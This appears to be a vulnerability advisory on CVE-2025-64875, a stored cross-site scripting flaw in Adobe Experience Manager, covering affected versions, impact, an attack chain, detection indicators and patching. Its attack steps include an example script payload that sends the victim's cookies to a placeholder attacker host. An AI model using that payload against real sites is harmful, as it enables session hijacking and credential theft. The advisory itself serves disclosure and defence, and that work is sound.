CVE-2025-64875: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64875 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. The vulnerability affects AEM versions 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. It was published on December 9, 2025, with Adobe releasing a patch the same day. The CVSS v3.1 base score is 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, network-based attacker can inject persistent malicious JavaScript into vulnerable AEM form fields; the script executes in the victim's browser when they navigate to the page containing the compromised field. Exploitation requires user interaction (a victim browsing the affected page) and low privileges on the AEM instance, with the scope of impact extending beyond the vulnerable component (changed scope). No public proof-of-concept exploit code has been identified at this time (Adobe Advisory, Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session on the affected AEM instance, resulting in limited confidentiality and integrity impacts (e.g., session token theft, credential harvesting, or unauthorized actions performed on behalf of the victim). Because the injected script is stored server-side, any user who visits the affected page is at risk, potentially enabling broad impact across AEM users including administrators. Availability is not directly impacted by this vulnerability (Adobe Advisory).

1. Reconnaissance: Identify Adobe Experience Manager instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan searches for AEM-specific paths (e.g., /libs/granite/core/content/login.html).
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM user account (e.g., a content author account).
3. Identify vulnerable form fields: Browse AEM authoring interfaces to locate form fields that accept and store user-supplied input without adequate sanitization.
4. Inject malicious payload: Submit a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save the content.
5. Trigger execution: When a victim (including administrators) browses to the page containing the injected content, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints containing encoded script tags or JavaScript event handlers (e.g., <script>, onerror=, onload=) in form field parameters.
• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after loading AEM content pages, potentially indicating cookie or credential exfiltration.
• File System / Content Repository: Presence of JavaScript payloads stored within AEM JCR (Java Content Repository) nodes, discoverable via CRXDE Lite or repository queries for content containing <script> or encoded XSS strings.
• Process/Browser: Unexpected redirects or resource loads to external domains triggered from within AEM page rendering, visible in browser developer tools network logs.

Adobe has released patches addressing CVE-2025-64875 in AEM 6.5.24.0 (on-premises) and AEM Cloud Service 2025.12.0. Organizations should upgrade to these versions immediately. As a general interim measure, restrict content authoring access to trusted users only and review AEM dispatcher and WAF rules to filter XSS payloads in HTTP request bodies. No specific configuration-based workaround has been published by Adobe (Adobe Advisory).

The vulnerability was disclosed as part of Adobe's December 2025 Patch Tuesday security bulletin (APSB25-115), which addressed a large number of AEM vulnerabilities. No notable individual researcher commentary or significant social media discussion specific to CVE-2025-64875 has been identified, consistent with its medium severity rating and lack of active exploitation (Adobe Advisory).